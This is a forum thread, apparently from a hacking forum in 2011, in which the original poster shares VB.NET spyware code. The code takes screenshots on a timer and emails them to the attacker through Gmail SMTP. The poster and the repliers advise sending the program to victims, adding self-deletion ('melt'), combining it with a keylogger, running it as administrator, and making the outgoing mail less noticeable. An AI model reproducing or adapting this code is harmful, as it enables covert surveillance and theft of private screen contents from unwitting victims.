Screen capture spy [vb.net] - Printable Version

Screen capture spy [vb.net] - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: Visual Basic & .NET Framework (https://sinister.li/Forum-Visual-Basic-NET-Framework)
+--- Thread: Screen capture spy [vb.net] (/Thread-Screen-capture-spy-vb-net)

Screen capture spy [vb.net] - Tr0ne - 06-17-2011

This is a simple program that you can create to make Autoscreen shot and send back to you email
Also you can add some features (melt) or implement it in your keylogger

You should add 2 Textbox ( username, password)
1 timer (paste the quote in)(enable true choose interval to receive i advise minimum 1 min (60000), 1000=1sec)

If you will send this to someone i advise you to put a button on click activate then program then melt

Quote:Dim ScreenSize As Size = New Size(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
Dim screenGrab As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
Dim g As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(screenGrab)
g.CopyFromScreen(New Point(0, 0), New Point(0, 0), ScreenSize)

Dim RandomFileName As String = IO.Path.GetFileNameWithoutExtension(IO.Path.GetRandomFileName)
screenGrab.Save("d:\temp\" & RandomFileName & ".jpg", Imaging.ImageFormat.Jpeg)

Dim MyMailMessage As New MailMessage()
Dim MsgAttachment As New Attachment("d:\temp\" & RandomFileName & ".jpg")
MyMailMessage.From = New MailAddress(TextBox1.Text)
MyMailMessage.To.Add(TextBox1.Text)
MyMailMessage.Subject = "Tr0ne "
MyMailMessage.Body = "This is a Tr0ne program"
MyMailMessage.Attachments.Add(MsgAttachment)
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)

You can add other Features such as melt etc then send it to someone.. I hope you can customize your own. Don't forget to comment if you get any prob or just thanks Smile

RATE The Thread

Don't be a leech if you use it in your programs or anywhere don't forget to mention me

RE: Screen capture spy [vb.net] - blowdoof - 06-17-2011

I'd suggest using system.io.path.gettemppath and gettempfilename for creating the temp image, not everyone has a D:/ partition Smile

Perhaps resizing the image will make the mailsend less noticed as well Wink

Anyway, nice routine

RE: Screen capture spy [vb.net] - Tr0ne - 06-17-2011

Quote:I'd suggest using system.io.path.gettemppath and gettempfilename for creating the temp image, not everyone has a D:/ partition Smile
Perhaps resizing the image will make the mailsend less noticed as well

Actually its only and example you should put the "d:\temp\" in a folder like this "C:\Program Files\Windows Media Player" which almost all machine has
P.s you should make program run as administrater Smile

Thanks for the suggestion though

RE: Screen capture spy [vb.net] - icehood - 10-13-2011

I really don't get this, what's the file we going to send to the victem?? How are we going to get the screenshot???

RE: Screen capture spy [vb.net] - Mediocrity_mybb_import6293 - 11-20-2011

nice nice Good share pal .

RE: Screen capture spy [vb.net] - ArkPhaze - 11-24-2011

Why doesn't anyone import namespaces in VB?

Code:
Imports System.IO
Imports System.Drawing
Imports System.Net.Mail

Code:
Dim ScreenSize As Size = New Size(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
        Dim screenGrab As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
        Dim g As Graphics = Graphics.FromImage(screenGrab)
        g.CopyFromScreen(New Point(0, 0), New Point(0, 0), ScreenSize)

        Dim RandomFileName As String = Path.GetFileNameWithoutExtension(Path.GetRandomFileName)
        screenGrab.Save("d:\temp\" & RandomFileName & ".jpg", Imaging.ImageFormat.Jpeg)

        Dim MyMailMessage As New MailMessage()
        Dim MsgAttachment As New Attachment("d:\temp\" & RandomFileName & ".jpg")
        With MyMailMessage
            .From = New MailAddress(TextBox1.Text)
            .To.Add(TextBox1.Text)
            .Subject = "Tr0ne "
            .Body = "This is a Tr0ne program"
            .Attachments.Add(MsgAttachment)
        End With

        Dim SMTPServer As New SmtpClient()
        With SMTPServer
            .Host = "smtp.gmail.com"
            .Port = 587
            .Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
            .EnableSsl = True
            .Send(MyMailMessage)
        End With

RE: Screen capture spy [vb.net] - ArkPhaze - 11-24-2011

It makes the code a lot shorter and more organized if you don't have to repeat typing the full address of the namespace out thats all.

Side note: How am I able to donate for VIP subscription? Do I have to wait until it's back up again?

RE: Screen capture spy [vb.net] - simonbenyo - 02-10-2012

Yap Good Job Man I too Think That Is more reliable to use the Enviroment.GetSpecialFolder Of The Appdata or else instead of D:\ ,HowEver Nice Job THX Smile

RE: Screen capture spy [vb.net] - ArkPhaze - 02-11-2012

(02-10-2012, 06:54 AM)simonbenyo Wrote: Yap Good Job Man I too Think That Is more reliable to use the Enviroment.GetSpecialFolder Of The Appdata or else instead of D:\ ,HowEver Nice Job THX

Assuming that D: is the Windows System drive, then yes, otherwise no. It's better to just use the hardcoded value, BUT with that said, a check to make sure that the location on that hard drive exists should be used first.